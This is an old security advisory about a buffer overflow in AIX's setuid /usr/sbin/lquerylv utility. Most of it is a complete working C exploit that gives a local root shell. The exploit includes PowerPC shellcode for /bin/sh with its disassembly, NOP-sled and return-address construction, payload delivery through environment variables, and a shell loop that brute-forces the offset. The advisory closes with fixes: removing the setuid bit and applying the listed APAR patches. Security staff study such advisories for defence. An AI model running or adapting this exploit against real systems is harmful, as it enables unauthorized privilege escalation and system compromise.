COMMAND
/usr/sbin/lquerylv
SYSTEMS AFFECTED
AIX 4.0, 4.1, 4.2 ?(3.x)?
PROBLEM
There is a buffer overflow in /usr/sbin/lquerylv which spawns a
root shell under AIX 4.2, 4.1 and 4.0, ?3.x?. This was tested on
AIX 4.2 RS/6000 box. Credit goes to Georgi Guninski.
/*
AIX 4.2,(others?) lquerylv exploit by Georgi Guninski
----------------------------------------
DISCLAIMER
This program is for educational purpose ONLY. Do not use it without
permission. The usual standard disclaimer applies, especially the
fact that Georgi Guninski is not liable for any damages caused by
direct or indirect use of the information or functionality provided
by this program. Georgi Guninski, his employer or any Internet
provider bears NO responsibility for content or misuse of this
program or any derivatives thereof. By using this program you accept
the fact that any damage (dataloss, system crash, system compromise,
etc.) caused by the use of this program is not Georgi Guninski's
responsibility.
In case you distribute this, please keep the disclaimer and my
addresses.
-----------------------------------------
Use the IBM C compiler.
Compile with: cc -g aixlquerylv.c
SOLUTION: #chmod -s /usr/sbin/lquerylv
-----------------
Georgi Guninski
guninski@hotmail.com
sgg@vmei.acad.bg
guninski@linux2.vmei.acad.bg
http://www.geocities.com/ResearchTriangle/1711
Suggestions,comments and job offers are welcome!
26-MAY-97
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char prog[100]="/usr/sbin/lquerylv";
char prog2[30]="lquerylv";
extern int execv();
char *createvar(char *name,char *value)
{
char *c;
int l;
l=strlen(name)+strlen(value)+4;
if (! (c=malloc(l))) {perror("error allocating");exit(2);};
strcpy(c,name);
strcat(c,"=");
strcat(c,value);
putenv(c);
return c;
}
/*The program*/
main(int argc,char **argv,char **env)
{
/*The code*/
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
/* disassembly
7c0802a6 mfspr r0,LR
9421fbb0 stu SP,-1104(SP) --get stack
90010458 st r0,1112(SP)
3c60f019 cau r3,r0,0xf019 --CTR
60632c48 lis r3,r3,11336 --CTR
90610440 st r3,1088(SP)
3c60d002 cau r3,r0,0xd002 --TOC
60634c0c lis r3,r3,19468 --TOC
90610444 st r3,1092(SP)
3c602f62 cau r3,r0,0x2f62 --'/bin/sh\x01'
6063696e lis r3,r3,26990
90610438 st r3,1080(SP)
3c602f73 cau r3,r0,0x2f73
60636801 lis r3,r3,26625
3863ffff addi r3,r3,-1
9061043c st r3,1084(SP) --terminate with 0
30610438 lis r3,SP,1080
7c842278 xor r4,r4,r4 --argv=NULL
80410440 lwz RTOC,1088(SP)
80010444 lwz r0,1092(SP) --jump
7c0903a6 mtspr CTR,r0
4e800420 bctr --jump
*/
#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int frame[MAXBUF];
unsigned int i,nop,mn;
int max;
int QUIET=0;
int dobuf=0;
unsigned int toc;
unsigned int eco;
unsigned int *pt;
char *t;
int ch;
unsigned int reta; /* return address */
int corr=4600;
char *args[4];
char *arg1="-L";
char *newenv[8];
int startwith=0;
mn=100;
max=280;
if (argc>1)
corr = atoi(argv[1]);
pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;
if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
{
perror("Bad parameters");
exit(1);
}
#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff);
*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
0x0000ffff);
reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;
for(nop=0;nop<mn;nop++)
buf[nop]=startwith ? reta : 0x4ffffb82; /*NOP*/
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;
if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
|| !(reta && 0xff000000))
{
perror("Return address has zero");exit(5);
}
while(i++<max)
buf[i]=reta;
buf[i]=0;
for(i=0;i<max-1;i++)
frame[i]=reta;
frame[i]=0;
if(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);};
/* 4 vars 'cause the correct one should be aligned at 4bytes boundary */
newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=NULL;
args[0]=prog2;
args[1]=arg1;
args[2]=(char*)&frame[0]; /* Just frame pointers */
puts("Start...");/*Here we go*/
execve(prog,args,newenv);
perror("Error executing execve \n");
/* Georgi Guninski
guninski@hotmail.com
sgg@vmei.acad.bg
guninski@linux2.vmei.acad.bg
http://www.geocities.com/ResearchTriangle/1711
*/
}
Sometimes this helps:
#!/bin/ksh
L=100
O=40
while [ $L -lt 12000 ]
do
echo $L
L=`expr $L + 42`
./a.out $L
done
SOLUTION
SOLUTION: #chmod -s /usr/sbin/lquerylv
This (and several other LVM related buffer overflows) are fixed in
the following APARs:
AIX 3.2 APAR IX66230 (PTF U447739)
AIX 4.1 APAR IX66231 Fileset bos.rte.lvm should be 4.1.5.7 or later.
AIX 4.2 APAR IX66232 Fileset bos.rte.lvm should be 4.2.0.12 or later.
A cumulative security APAR is also available from FixDist...
AIX 3.2 APAR IX67999
AIX 4.1 APAR IX67997
AIX 4.2 APAR IX67998